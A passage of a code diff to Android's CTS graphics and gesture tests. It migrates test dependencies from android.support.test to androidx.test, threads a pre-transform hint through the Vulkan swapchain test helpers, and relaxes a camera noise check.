@@ -23,8 +23,8 @@
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
     CtsExternalServiceCommon \
-    ctstestrunner \
-    compatibility-device-util \
+    ctstestrunner-axt \
+    compatibility-device-util-axt \
 
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
diff --git a/tests/tests/gesture/Android.mk b/tests/tests/gesture/Android.mk
index 570a9b4..4be4bed 100755
--- a/tests/tests/gesture/Android.mk
+++ b/tests/tests/gesture/Android.mk
@@ -27,7 +27,7 @@
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
 
 # Tag this module as a cts test artifact
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
diff --git a/tests/tests/gesture/AndroidManifest.xml b/tests/tests/gesture/AndroidManifest.xml
index eed0ffd..28a2c7a 100755
--- a/tests/tests/gesture/AndroidManifest.xml
+++ b/tests/tests/gesture/AndroidManifest.xml
@@ -25,7 +25,7 @@
 
     <!--  self-instrumenting test package. -->
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:targetPackage="android.gesture.cts"
         android:label="CTS tests of android.gesture">
     </instrumentation>
diff --git a/tests/tests/graphics/Android.mk b/tests/tests/graphics/Android.mk
index 9030a13..d3d1046 100644
--- a/tests/tests/graphics/Android.mk
+++ b/tests/tests/graphics/Android.mk
@@ -23,11 +23,11 @@
 LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
 
 LOCAL_STATIC_JAVA_LIBRARIES += \
-    android-support-test \
+    androidx.test.rules \
     mockito-target-minus-junit4 \
-    compatibility-device-util \
-    ctsdeviceutillegacy \
-    ctstestrunner \
+    compatibility-device-util-axt \
+    ctsdeviceutillegacy-axt \
+    ctstestrunner-axt \
     androidx.annotation_annotation \
     junit
 
diff --git a/tests/tests/graphics/AndroidManifest.xml b/tests/tests/graphics/AndroidManifest.xml
index 76552a1..afca571 100644
--- a/tests/tests/graphics/AndroidManifest.xml
+++ b/tests/tests/graphics/AndroidManifest.xml
@@ -56,7 +56,7 @@
         </provider>
     </application>
 
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
                      android:targetPackage="android.graphics.cts"
                      android:label="CTS tests of android.graphics">
         <meta-data android:name="listener"
diff --git a/tests/tests/graphics/jni/VulkanPreTransformTestHelpers.cpp b/tests/tests/graphics/jni/VulkanPreTransformTestHelpers.cpp
index 7019ea4..beaa315 100644
--- a/tests/tests/graphics/jni/VulkanPreTransformTestHelpers.cpp
+++ b/tests/tests/graphics/jni/VulkanPreTransformTestHelpers.cpp
@@ -246,7 +246,7 @@
     }
 }
 
-int32_t SwapchainInfo::init(bool setPreTransform) {
+int32_t SwapchainInfo::init(bool setPreTransform, int* outPreTransformHint) {
     VkSurfaceCapabilitiesKHR surfaceCapabilities;
     VK_CALL(vkGetPhysicalDeviceSurfaceCapabilitiesKHR(mDeviceInfo->gpu(), mDeviceInfo->surface(),
                                                       &surfaceCapabilities));
@@ -297,6 +297,10 @@
         std::swap(mDisplaySize.width, mDisplaySize.height);
     }
 
+    if (outPreTransformHint) {
+        *outPreTransformHint = preTransform;
+    }
+
     const uint32_t queueFamilyIndex = mDeviceInfo->queueFamilyIndex();
     const VkSwapchainCreateInfoKHR swapchainCreateInfo = {
             .sType = VK_STRUCTURE_TYPE_SWAPCHAIN_CREATE_INFO_KHR,
diff --git a/tests/tests/graphics/jni/VulkanPreTransformTestHelpers.h b/tests/tests/graphics/jni/VulkanPreTransformTestHelpers.h
index f876aad..21174b4 100644
--- a/tests/tests/graphics/jni/VulkanPreTransformTestHelpers.h
+++ b/tests/tests/graphics/jni/VulkanPreTransformTestHelpers.h
@@ -54,7 +54,7 @@
 public:
     SwapchainInfo(const DeviceInfo* const deviceInfo);
     ~SwapchainInfo();
-    int32_t init(bool setPreTransform);
+    int32_t init(bool setPreTransform, int* outPreTransformHint);
     VkFormat format() const { return mFormat; }
     VkExtent2D displaySize() const { return mDisplaySize; }
     VkSwapchainKHR swapchain() const { return mSwapchain; }
diff --git a/tests/tests/graphics/jni/android_graphics_cts_BasicVulkanGpuTest.cpp b/tests/tests/graphics/jni/android_graphics_cts_BasicVulkanGpuTest.cpp
index c9ed883..6c90941 100644
--- a/tests/tests/graphics/jni/android_graphics_cts_BasicVulkanGpuTest.cpp
+++ b/tests/tests/graphics/jni/android_graphics_cts_BasicVulkanGpuTest.cpp
@@ -75,9 +75,6 @@
     // Could not initialize Vulkan due to lack of device support, skip test.
     return;
   }
-  VkImageRenderer renderer(&init, kTestImageWidth, kTestImageHeight,
-                           formatDesc.vkFormat, formatDesc.pixelWidth);
-  ASSERT(renderer.init(env, assetMgr), "Unable to initialize VkRenderer.");
 
   // Create and initialize buffer based on parameters.
   AHardwareBuffer_Desc hwbDesc{
@@ -96,6 +93,10 @@
     return;
   }
 
+  VkImageRenderer renderer(&init, kTestImageWidth, kTestImageHeight,
+                           formatDesc.vkFormat, formatDesc.pixelWidth);
+  ASSERT(renderer.init(env, assetMgr), "Unable to initialize VkRenderer.");
+
   // Populate the buffer with well-defined data.
   AHardwareBuffer_describe(buffer, &hwbDesc);
   uint8_t *bufferAddr;
diff --git a/tests/tests/graphics/jni/android_graphics_cts_CameraVulkanGpuTest.cpp b/tests/tests/graphics/jni/android_graphics_cts_CameraVulkanGpuTest.cpp
index f96e39c..24721c3 100644
--- a/tests/tests/graphics/jni/android_graphics_cts_CameraVulkanGpuTest.cpp
+++ b/tests/tests/graphics/jni/android_graphics_cts_CameraVulkanGpuTest.cpp
@@ -33,16 +33,6 @@
     AHARDWAREBUFFER_USAGE_GPU_SAMPLED_IMAGE;
 static constexpr uint32_t kTestImageCount = 3;
 
-// Checks if a vector has more than 10 unique values, in which case we consider
-// it noisy.
-bool isNoisy(const std::vector<uint32_t> &data) {
-  std::set<uint32_t> values_seen;
-  for (uint32_t value : data) {
-    values_seen.insert(value);
-  }
-  return values_seen.size() > 10;
-}
-
 } // namespace
 
 // A basic test which does the following:
@@ -94,8 +84,7 @@
              vkImage.semaphore(), vkImage.isSamplerImmutable(), &imageData),
          "Could not render/read-back Vulkan pixels.");
 
-  // Ensure that we see noise.
-  ASSERT(isNoisy(imageData), "Camera data should be noisy.");
+  // TODO(b/110025779): We should find a way to validate pixels.
 }
 
 static JNINativeMethod gMethods[] = {
diff --git a/tests/tests/graphics/jni/android_graphics_cts_VulkanPreTransformCtsActivity.cpp b/tests/tests/graphics/jni/android_graphics_cts_VulkanPreTransformCtsActivity.cpp
index 2a347b2..16fc851 100644
--- a/tests/tests/graphics/jni/android_graphics_cts_VulkanPreTransformCtsActivity.cpp
+++ b/tests/tests/graphics/jni/android_graphics_cts_VulkanPreTransformCtsActivity.cpp
@@ -33,14 +33,14 @@
 
 namespace {
 
-jboolean validatePixelValues(JNIEnv* env, jboolean setPreTransform) {
+jboolean validatePixelValues(JNIEnv* env, jboolean setPreTransform, jint preTransformHint) {
     jclass clazz = env->FindClass("android/graphics/cts/VulkanPreTransformTest");
-    jmethodID mid = env->GetStaticMethodID(clazz, "validatePixelValuesAfterRotation", "(Z)Z");
+    jmethodID mid = env->GetStaticMethodID(clazz, "validatePixelValuesAfterRotation", "(ZI)Z");
     if (mid == 0) {
         ALOGE("Failed to find method ID");
         return false;
     }
-    return env->CallStaticBooleanMethod(clazz, mid, setPreTransform);
+    return env->CallStaticBooleanMethod(clazz, mid, setPreTransform, preTransformHint);
 }
 
 void createNativeTest(JNIEnv* env, jclass /*clazz*/, jobject jAssetManager, jobject jSurface,
@@ -50,6 +50,7 @@
     ASSERT(jSurface, "jSurface is NULL");
 
     DeviceInfo deviceInfo;
+    int preTransformHint;
     int ret = deviceInfo.init(env, jSurface);
     ASSERT(ret >= 0, "Failed to initialize Vulkan device");
     if (ret > 0) {
@@ -58,7 +59,7 @@
     }
 
     SwapchainInfo swapchainInfo(&deviceInfo);
-    ASSERT(!swapchainInfo.init(setPreTransform), "Failed to initialize Vulkan swapchain");
+    ASSERT(!swapchainInfo.init(setPreTransform, &preTransformHint), "Failed to initialize Vulkan swapchain");
 
     Renderer renderer(&deviceInfo, &swapchainInfo);
     ASSERT(!renderer.init(env, jAssetManager), "Failed to initialize Vulkan renderer");
@@ -67,7 +68,7 @@
         ASSERT(!renderer.drawFrame(), "Failed to draw frame");
     }
 
-    ASSERT(validatePixelValues(env, setPreTransform), "Not properly rotated");
+    ASSERT(validatePixelValues(env, setPreTransform, preTransformHint), "Not properly rotated");
 }
 
 const std::array<JNINativeMethod, 1> JNI_METHODS = {{
diff --git a/tests/tests/graphics/src/android/graphics/cts/ANativeWindowTest.java b/tests/tests/graphics/src/android/graphics/cts/ANativeWindowTest.java
index f7cf694..17ab379 100644
--- a/tests/tests/graphics/src/android/graphics/cts/ANativeWindowTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/ANativeWindowTest.java
@@ -16,9 +16,10 @@
 
 package android.graphics.cts;
 
-import static org.junit.Assert.assertEquals;
 import static android.opengl.EGL14.*;
 
+import static org.junit.Assert.assertEquals;
+
 import android.graphics.SurfaceTexture;
 import android.opengl.EGL14;
 import android.opengl.EGLConfig;
@@ -26,16 +27,16 @@
 import android.opengl.EGLDisplay;
 import android.opengl.EGLSurface;
 import android.opengl.GLES20;
-import android.support.test.filters.SmallTest;
-import android.view.Surface;
 import android.util.Log;
+import android.view.Surface;
+
+import androidx.test.filters.SmallTest;
 
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 import org.junit.runners.BlockJUnit4ClassRunner;
 
-
 @SmallTest
 @RunWith(BlockJUnit4ClassRunner.class)
 public class ANativeWindowTest {
diff --git a/tests/tests/graphics/src/android/graphics/cts/ASurfaceTextureTest.java b/tests/tests/graphics/src/android/graphics/cts/ASurfaceTextureTest.java
index b4e6ed6..8bf45f9 100644
--- a/tests/tests/graphics/src/android/graphics/cts/ASurfaceTextureTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/ASurfaceTextureTest.java
@@ -18,17 +18,15 @@
 
 import static android.opengl.EGL14.*;
 
-import android.graphics.Canvas;
 import android.graphics.SurfaceTexture;
 import android.opengl.EGL14;
 import android.opengl.EGLConfig;
 import android.opengl.EGLContext;
 import android.opengl.EGLDisplay;
 import android.opengl.EGLSurface;
-import android.support.test.filters.SmallTest;
-import android.util.Log;
 
-import android.view.Surface;
+import androidx.test.filters.SmallTest;
+
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
diff --git a/tests/tests/graphics/src/android/graphics/cts/BasicVulkanGpuTest.java b/tests/tests/graphics/src/android/graphics/cts/BasicVulkanGpuTest.java
index f4a9954..d6b0f07 100644
--- a/tests/tests/graphics/src/android/graphics/cts/BasicVulkanGpuTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/BasicVulkanGpuTest.java
@@ -16,9 +16,10 @@
 package android.graphics.cts;
 
 import android.content.res.AssetManager;
-import android.support.test.InstrumentationRegistry;
 import android.test.suitebuilder.annotation.SmallTest;
 
+import androidx.test.InstrumentationRegistry;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 import org.junit.runners.Parameterized;
diff --git a/tests/tests/graphics/src/android/graphics/cts/BitmapColorSpaceTest.java b/tests/tests/graphics/src/android/graphics/cts/BitmapColorSpaceTest.java
index 7645e25..31f2495 100644
--- a/tests/tests/graphics/src/android/graphics/cts/BitmapColorSpaceTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/BitmapColorSpaceTest.java
@@ -30,14 +30,14 @@
 import android.graphics.ColorSpace;
 import android.graphics.ImageDecoder;
 import android.os.Parcel;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.RequiresDevice;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.util.Log;
 
 import androidx.annotation.ColorInt;
 import androidx.annotation.NonNull;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.RequiresDevice;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.Before;
 import org.junit.Test;
diff --git a/tests/tests/graphics/src/android/graphics/cts/BitmapFactoryTest.java b/tests/tests/graphics/src/android/graphics/cts/BitmapFactoryTest.java
index 40675853..0234fcf 100644
--- a/tests/tests/graphics/src/android/graphics/cts/BitmapFactoryTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/BitmapFactoryTest.java
@@ -34,15 +34,15 @@
 import android.graphics.Rect;
 import android.os.Parcel;
 import android.os.ParcelFileDescriptor;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.system.ErrnoException;
 import android.system.Os;
-import android.system.OsConstants;
 import android.util.DisplayMetrics;
 import android.util.TypedValue;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
diff --git a/tests/tests/graphics/src/android/graphics/cts/BitmapFactory_OptionsTest.java b/tests/tests/graphics/src/android/graphics/cts/BitmapFactory_OptionsTest.java
index ad759bb..3941240 100644
--- a/tests/tests/graphics/src/android/graphics/cts/BitmapFactory_OptionsTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/BitmapFactory_OptionsTest.java
@@ -15,25 +15,28 @@
  */
 package android.graphics.cts;
 
+import static androidx.test.InstrumentationRegistry.getInstrumentation;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+
 import android.app.Instrumentation;
 import android.content.res.AssetManager;
 import android.content.res.Resources;
 import android.graphics.Bitmap;
 import android.graphics.BitmapFactory;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
 import java.io.IOException;
 import java.io.InputStream;
 
-import static android.support.test.InstrumentationRegistry.getInstrumentation;
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertFalse;
-import static org.junit.Assert.assertNull;
-import static org.junit.Assert.assertTrue;
-
 @SmallTest
 @RunWith(AndroidJUnit4.class)
 public class BitmapFactory_OptionsTest {
diff --git a/tests/tests/graphics/src/android/graphics/cts/BitmapRGBAF16Test.java b/tests/tests/graphics/src/android/graphics/cts/BitmapRGBAF16Test.java
index 02c9425..8d2c91c 100644
--- a/tests/tests/graphics/src/android/graphics/cts/BitmapRGBAF16Test.java
+++ b/tests/tests/graphics/src/android/graphics/cts/BitmapRGBAF16Test.java
@@ -25,9 +25,10 @@
 import android.graphics.Bitmap.Config;
 import android.graphics.BitmapFactory;
 import android.graphics.Canvas;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.Before;
 import org.junit.Test;
diff --git a/tests/tests/graphics/src/android/graphics/cts/BitmapRegionDecoderTest.java b/tests/tests/graphics/src/android/graphics/cts/BitmapRegionDecoderTest.java
index 4a6a05d..e022c8f 100644
--- a/tests/tests/graphics/src/android/graphics/cts/BitmapRegionDecoderTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/BitmapRegionDecoderTest.java
@@ -34,10 +34,11 @@
 import android.graphics.ColorSpace;
 import android.graphics.Rect;
 import android.os.ParcelFileDescriptor;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.LargeTest;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.LargeTest;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.After;
 import org.junit.Before;
diff --git a/tests/tests/graphics/src/android/graphics/cts/BitmapShaderTest.java b/tests/tests/graphics/src/android/graphics/cts/BitmapShaderTest.java
index 0b4f29f..5b3dedf 100644
--- a/tests/tests/graphics/src/android/graphics/cts/BitmapShaderTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/BitmapShaderTest.java
@@ -24,8 +24,9 @@
 import android.graphics.Color;
 import android.graphics.Paint;
 import android.graphics.Shader;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.Assert;
 import org.junit.Test;
diff --git a/tests/tests/graphics/src/android/graphics/cts/BitmapTest.java b/tests/tests/graphics/src/android/graphics/cts/BitmapTest.java
index 1aec304..a0c09f1 100644
--- a/tests/tests/graphics/src/android/graphics/cts/BitmapTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/BitmapTest.java
@@ -35,13 +35,14 @@
 import android.os.Debug;
 import android.os.Parcel;
 import android.os.StrictMode;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.LargeTest;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.util.DisplayMetrics;
 import android.view.Surface;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.LargeTest;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import com.android.compatibility.common.util.ColorUtils;
 import com.android.compatibility.common.util.WidgetTestUtils;
 
diff --git a/tests/tests/graphics/src/android/graphics/cts/Bitmap_CompressFormatTest.java b/tests/tests/graphics/src/android/graphics/cts/Bitmap_CompressFormatTest.java
index 30294d0..d42e9ca 100644
--- a/tests/tests/graphics/src/android/graphics/cts/Bitmap_CompressFormatTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/Bitmap_CompressFormatTest.java
@@ -21,8 +21,9 @@
 import android.graphics.Bitmap;
 import android.graphics.Bitmap.CompressFormat;
 import android.graphics.Bitmap.Config;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.Test;
 import org.junit.runner.RunWith;
diff --git a/tests/tests/graphics/src/android/graphics/cts/Bitmap_ConfigTest.java b/tests/tests/graphics/src/android/graphics/cts/Bitmap_ConfigTest.java
index babcf91..5ef145a 100644
--- a/tests/tests/graphics/src/android/graphics/cts/Bitmap_ConfigTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/Bitmap_ConfigTest.java
@@ -21,8 +21,9 @@
 
 import android.graphics.Bitmap;
 import android.graphics.Bitmap.Config;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.Test;
 import org.junit.runner.RunWith;
diff --git a/tests/tests/graphics/src/android/graphics/cts/BlurMaskFilterTest.java b/tests/tests/graphics/src/android/graphics/cts/BlurMaskFilterTest.java
index 0fb5978..6678291 100644
--- a/tests/tests/graphics/src/android/graphics/cts/BlurMaskFilterTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/BlurMaskFilterTest.java
@@ -24,8 +24,9 @@
 import android.graphics.Canvas;
 import android.graphics.Color;
 import android.graphics.Paint;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.Test;
 import org.junit.runner.RunWith;
diff --git a/tests/tests/graphics/src/android/graphics/cts/BlurMaskFilter_BlurTest.java b/tests/tests/graphics/src/android/graphics/cts/BlurMaskFilter_BlurTest.java
index bdc44af..d7a1b9a 100644
--- a/tests/tests/graphics/src/android/graphics/cts/BlurMaskFilter_BlurTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/BlurMaskFilter_BlurTest.java
@@ -20,8 +20,9 @@
 
 import android.graphics.BlurMaskFilter;
 import android.graphics.BlurMaskFilter.Blur;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.Test;
 import org.junit.runner.RunWith;
diff --git a/tests/tests/graphics/src/android/graphics/cts/CameraGpuTest.java b/tests/tests/graphics/src/android/graphics/cts/CameraGpuTest.java
index 02bfd51..d1b02cc 100644
--- a/tests/tests/graphics/src/android/graphics/cts/CameraGpuTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/CameraGpuTest.java
@@ -15,9 +15,11 @@
  */
 package android.graphics.cts;
 
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.test.suitebuilder.annotation.LargeTest;
+
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Rule;
 import org.junit.Test;
 import org.junit.runner.RunWith;
diff --git a/tests/tests/graphics/src/android/graphics/cts/CameraTest.java b/tests/tests/graphics/src/android/graphics/cts/CameraTest.java
index 61b6422..ff8f77c 100644
--- a/tests/tests/graphics/src/android/graphics/cts/CameraTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/CameraTest.java
@@ -22,8 +22,9 @@
 import android.graphics.Camera;
 import android.graphics.Canvas;
 import android.graphics.Matrix;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.Before;
 import org.junit.Test;
diff --git a/tests/tests/graphics/src/android/graphics/cts/CameraVulkanGpuTest.java b/tests/tests/graphics/src/android/graphics/cts/CameraVulkanGpuTest.java
index 5906c899..1f54312 100644
--- a/tests/tests/graphics/src/android/graphics/cts/CameraVulkanGpuTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/CameraVulkanGpuTest.java
@@ -17,10 +17,14 @@
 
 import android.content.pm.PackageManager;
 import android.content.res.AssetManager;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.runner.AndroidJUnit4;
+import android.os.Build;
 import android.test.suitebuilder.annotation.SmallTest;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.compatibility.common.util.PropertyUtil;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
@@ -40,6 +44,11 @@
             return;
         }
 
+        if(PropertyUtil.getFirstApiLevel() < Build.VERSION.SDK_INT){
+            // HAL3 is not required for P upgrade devices.
+            return;
+        }
+
         loadCameraAndVerifyFrameImport(InstrumentationRegistry.getContext().getAssets());
     }
 
diff --git a/tests/tests/graphics/src/android/graphics/cts/CanvasTest.java b/tests/tests/graphics/src/android/graphics/cts/CanvasTest.java
index af11307..b87a8b0 100644
--- a/tests/tests/graphics/src/android/graphics/cts/CanvasTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/CanvasTest.java
@@ -44,24 +44,25 @@
 import android.graphics.RectF;
 import android.graphics.Region.Op;
 import android.graphics.Shader;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.text.SpannableString;
 import android.text.SpannableStringBuilder;
 import android.text.SpannedString;
 import android.util.DisplayMetrics;
 
-import com.android.compatibility.common.util.ColorUtils;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
 
-import java.io.IOException;
-import java.io.InputStream;
+import com.android.compatibility.common.util.ColorUtils;
 
 import org.junit.Assert;
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
+import java.io.IOException;
+import java.io.InputStream;
+
 @SmallTest
 @RunWith(AndroidJUnit4.class)
 public class CanvasTest {
diff --git a/tests/tests/graphics/src/android/graphics/cts/Canvas_EdgeTypeTest.java b/tests/tests/graphics/src/android/graphics/cts/Canvas_EdgeTypeTest.java
index f34ec71..ffaec54 100644
--- a/tests/tests/graphics/src/android/graphics/cts/Canvas_EdgeTypeTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/Canvas_EdgeTypeTest.java
@@ -21,8 +21,9 @@
 import android.graphics.Canvas.EdgeType;
 import android.graphics.Path;
 import android.graphics.RectF;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.Test;
 import org.junit.runner.RunWith;
diff --git a/tests/tests/graphics/src/android/graphics/cts/Canvas_VertexModeTest.java b/tests/tests/graphics/src/android/graphics/cts/Canvas_VertexModeTest.java
index 68588ec..c97d5e9 100644
--- a/tests/tests/graphics/src/android/graphics/cts/Canvas_VertexModeTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/Canvas_VertexModeTest.java
@@ -22,8 +22,9 @@
 import android.graphics.Canvas;
 import android.graphics.Canvas.VertexMode;
 import android.graphics.Paint;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.Test;
 import org.junit.runner.RunWith;
diff --git a/tests/tests/graphics/src/android/graphics/cts/ColorMatrixColorFilterTest.java b/tests/tests/graphics/src/android/graphics/cts/ColorMatrixColorFilterTest.java
index 358e401..cdbbd09 100644
--- a/tests/tests/graphics/src/android/graphics/cts/ColorMatrixColorFilterTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/ColorMatrixColorFilterTest.java
@@ -17,7 +17,6 @@
 
 import static org.junit.Assert.assertArrayEquals;
 import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertNotSame;
 
 import android.graphics.Bitmap;
 import android.graphics.Bitmap.Config;
@@ -26,8 +25,9 @@
 import android.graphics.ColorMatrix;
 import android.graphics.ColorMatrixColorFilter;
 import android.graphics.Paint;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
 
 import com.android.compatibility.common.util.ColorUtils;
 
diff --git a/tests/tests/graphics/src/android/graphics/cts/ColorMatrixTest.java b/tests/tests/graphics/src/android/graphics/cts/ColorMatrixTest.java
index a9d0e44..5480a41 100644
--- a/tests/tests/graphics/src/android/graphics/cts/ColorMatrixTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/ColorMatrixTest.java
@@ -20,8 +20,9 @@
 import static org.junit.Assert.assertNotEquals;
 
 import android.graphics.ColorMatrix;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.Before;
 import org.junit.Test;
diff --git a/tests/tests/graphics/src/android/graphics/cts/ColorSpaceTest.java b/tests/tests/graphics/src/android/graphics/cts/ColorSpaceTest.java
index b535edb..fb1e6d41 100644
--- a/tests/tests/graphics/src/android/graphics/cts/ColorSpaceTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/ColorSpaceTest.java
@@ -24,8 +24,9 @@
 import static org.junit.Assert.fail;
 
 import android.graphics.ColorSpace;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.Test;
 import org.junit.runner.RunWith;
diff --git a/tests/tests/graphics/src/android/graphics/cts/ColorTest.java b/tests/tests/graphics/src/android/graphics/cts/ColorTest.java
index 7ae151e..725f851 100644
--- a/tests/tests/graphics/src/android/graphics/cts/ColorTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/ColorTest.java
@@ -15,17 +15,18 @@
  */
 package android.graphics.cts;
 
-import static android.support.test.InstrumentationRegistry.getInstrumentation;
+import static androidx.test.InstrumentationRegistry.getInstrumentation;
 
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertTrue;
 
 import android.content.res.Resources;
 import android.graphics.Color;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.util.TypedValue;
 
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
diff --git a/tests/tests/graphics/src/android/graphics/cts/Color_ColorLongTest.java b/tests/tests/graphics/src/android/graphics/cts/Color_ColorLongTest.java
index f7893c7..849dd1b 100644
--- a/tests/tests/graphics/src/android/graphics/cts/Color_ColorLongTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/Color_ColorLongTest.java
@@ -15,14 +15,6 @@
  */
 package android.graphics.cts;
 
-import android.graphics.Color;
-import android.graphics.ColorSpace;
-import android.graphics.ColorSpace.Named;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
 import static android.graphics.Color.alpha;
 import static android.graphics.Color.blue;
 import static android.graphics.Color.colorSpace;
@@ -33,6 +25,7 @@
 import static android.graphics.Color.red;
 import static android.graphics.Color.toArgb;
 import static android.graphics.Color.valueOf;
+
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertNotEquals;
@@ -40,6 +33,16 @@
 import static org.junit.Assert.assertSame;
 import static org.junit.Assert.assertTrue;
 
+import android.graphics.Color;
+import android.graphics.ColorSpace;
+import android.graphics.ColorSpace.Named;
+
+import androidx.test.filters.SmallTest;
